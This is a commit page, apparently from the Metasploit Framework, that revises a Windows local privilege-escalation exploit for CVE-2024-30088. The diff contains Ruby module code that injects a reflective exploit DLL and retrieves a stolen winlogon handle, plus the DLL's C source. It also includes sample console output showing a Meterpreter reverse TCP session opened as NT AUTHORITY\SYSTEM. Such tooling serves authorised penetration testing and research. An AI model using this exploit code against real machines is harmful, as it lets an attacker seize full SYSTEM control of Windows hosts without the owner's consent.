Skip to content

Commit 7bfd814

Browse files
committed
Removed memory polling
1 parent b011b67 commit 7bfd814

File tree

5 files changed

+23
-22
lines changed

5 files changed

+23
-22
lines changed
0 Bytes
Binary file not shown.

documentation/modules/exploit/windows/local/cve_2024_30088_authz_basep.md

Lines changed: 8 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -30,19 +30,17 @@ msf6 > use windows/local/cve_2024_30038_authz_basep
3030
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
3131
msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1
3232
session => -1
33-
msf6 exploit(windows/local/cve_2024_30038_authz_basep) > exploit
33+
msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit
3434
35-
[*] Started reverse TCP handler on 172.16.199.1:4444
35+
[*] Started reverse TCP handler on 172.16.199.1:5555
3636
[*] Running automatic check ("set AutoCheck false" to disable)
3737
[+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045
38-
[*] Reflectively injecting the DLL into 9664...
39-
[*] Attempting to steal the handle from the winlogon process...
40-
[*] Sleeping for 2 seconds before attempting again
41-
[+] Successfully stole winlogon handle: 1340
42-
[+] Successfully retrieved winlogon pid: 736
43-
[*] Creating the thread to execute in 0x16e4e500000 (pid=736)
44-
[*] Sending stage (201798 bytes) to 172.16.199.130
45-
[*] Meterpreter session 63 opened (172.16.199.1:4444 -> 172.16.199.130:49735) at 2024-08-21 22:56:13 -0700
38+
[*] Reflectively injecting the DLL into 696...
39+
[+] The exploit was successful, reading SYSTEM token from memory...
40+
[+] Successfully stole winlogon handle: 3432
41+
[+] Successfully retrieved winlogon pid: 452
42+
[*] Sending stage (201798 bytes) to 172.16.199.208
43+
[*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700
4644
4745
meterpreter > getuid
4846
Server username: NT AUTHORITY\SYSTEM

external/source/exploits/CVE-2024-30088/CVE-2024-30088/dllmain.c

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,12 @@ HANDLE exploit();
99

1010
int main(LPVOID address) {
1111
HANDLE winlogon_handle = exploit();
12-
*(HANDLE*)address = winlogon_handle;
13-
ReflectiveFreeAndExitThread(hAppInstance, 0);
12+
DWORD dwStatus = ERROR_INVALID_TARGET_HANDLE;
13+
if (winlogon_handle) {
14+
dwStatus = ERROR_SUCCESS;
15+
*(HANDLE*)address = winlogon_handle;
16+
}
17+
ReflectiveFreeAndExitThread(hAppInstance, dwStatus);
1418
return 1;
1519
}
1620

lib/msf/core/post/windows/process.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -113,7 +113,6 @@ def execute_dll(rdll_path, param=nil, pid=nil)
113113
end
114114

115115
process.thread.create(exploit_mem + offset, param_ptr)
116-
nil
117116
end
118117

119118
#

modules/exploits/windows/local/cve_2024_30088_authz_basep.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -118,23 +118,23 @@ def get_winlogon_handle
118118
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
119119
address = process_handle.memory.allocate(8)
120120

121-
execute_dll(
121+
thread = execute_dll(
122122
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),
123123
address,
124124
pid
125125
)
126126

127+
calls = [
128+
['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],
129+
['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],
130+
]
131+
132+
results = session.railgun.multi(calls)
127133
winlogon_handle = nil
128-
current_memory = process_handle.memory.read(address, 8)
129-
initial_memory = current_memory
130-
print_status('Attempting to steal the handle from the winlogon process...')
131134

132-
retry_until_truthy(timeout: datastore['SLEEP']) do
135+
if results.last['lpExitCode'] == 0
136+
print_good("The exploit was successful, reading SYSTEM token from memory...")
133137
current_memory = process_handle.memory.read(address, 8)
134-
break if current_memory != initial_memory
135-
end
136-
137-
if current_memory != initial_memory
138138
winlogon_handle = current_memory.unpack('Q<').first
139139
end
140140

0 commit comments

Comments
 (0)